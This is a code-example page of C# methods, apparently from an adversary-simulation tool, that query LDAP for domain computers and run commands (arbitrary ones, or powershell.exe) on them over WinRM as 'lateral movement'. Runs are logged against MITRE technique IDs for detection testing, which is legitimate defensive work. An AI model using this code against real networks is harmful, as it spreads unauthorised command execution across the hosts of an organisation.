示例#1
0
        static public void ExecuteWinRMOnHosts(int computertype, int nhost, int sleep, string command)
        {
            List <Computer> targethosts = Lib.Targets.GetHostTargets(computertype, nhost);
            List <Task>     tasklist    = new List <Task>();

            Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name);
            if (sleep > 0)
            {
                Console.WriteLine("[*] Sleeping {0} seconds between attempt", sleep);
            }

            foreach (Computer computer in targethosts)
            {
                Computer temp = computer;
                if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                {
                    tasklist.Add(Task.Factory.StartNew(() =>
                    {
                        LateralMovementHelper.WinRMCodeExecution(temp, command);
                    }));
                    if (sleep > 0)
                    {
                        Thread.Sleep(sleep * 1000);
                    }
                }
            }
            Task.WaitAll(tasklist.ToArray());
        }
示例#2
0
        static public void WinRmCodeExec(int nhost, int tsleep, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;

            Lib.Logger logger = new Lib.Logger(currentPath + log);
            logger.SimulationHeader("T1021.006");
            logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique");

            try
            {
                var rand         = new Random();
                int computertype = rand.Next(1, 6);
                logger.TimestampInfo(String.Format("Querying LDAP for random targets..."));
                List <Computer> targethosts = Lib.Targets.GetHostTargets(computertype, nhost);
                logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count));
                List <Task> tasklist = new List <Task>();
                //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name);
                if (tsleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep));
                }

                foreach (Computer computer in targethosts)
                {
                    Computer temp = computer;
                    if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            LateralMovementHelper.WinRMCodeExecution(temp, "powershell.exe", logger);
                        }));
                        if (tsleep > 0)
                        {
                            Thread.Sleep(tsleep * 1000);
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
        static public void ExecuteWinRMOnHosts(int computertype, int nhost, int sleep, string command, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;

            Lib.Logger logger = new Lib.Logger(currentPath + log);
            logger.SimulationHeader("T1028");
            try
            {
                List <Computer> targethosts = Lib.Targets.GetHostTargets(computertype, nhost);
                List <Task>     tasklist    = new List <Task>();
                //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name);
                if (sleep > 0)
                {
                    Console.WriteLine("[*] Sleeping {0} seconds between attempt", sleep);
                }

                foreach (Computer computer in targethosts)
                {
                    Computer temp = computer;
                    if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            LateralMovementHelper.WinRMCodeExecution(temp, command, logger);
                        }));
                        if (sleep > 0)
                        {
                            Thread.Sleep(sleep * 1000);
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }